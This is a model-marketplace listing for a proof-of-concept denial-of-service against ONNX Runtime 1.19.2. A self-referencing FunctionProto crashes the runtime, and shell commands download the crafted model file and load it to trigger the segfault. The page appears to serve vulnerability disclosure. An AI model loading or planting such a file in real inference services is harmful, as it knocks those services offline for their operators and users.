You can deploy this model and start earning money today!

Yash1106/
onnxruntime-recursive-dos-poc

Name: onnxruntime-recursive-dos-poc
Availability: InStock

onnx

Views

No views yet

ONNX Runtime Recursive FunctionProto DoS PoC

Vulnerability

ONNX Runtime crashes (SIGSEGV) when loading a model with self-referencing FunctionProto.

CWE

CWE-674: Uncontrolled Recursion

Affected

onnxruntime 1.19.2 (and likely all versions)

Reproduce

bash

pip install onnx onnxruntime
wget https://huggingface.co/Yash1106/onnxruntime-recursive-dos-poc/resolve/main/recursive_dos_poc.onnx
python3 -c "import onnxruntime as ort; ort.InferenceSession('recursive_dos_poc.onnx')"
# Crashes with exit code 139 (SIGSEGV)

Note

ONNX checker passes this model - the vulnerability is in onnxruntime's function expansion.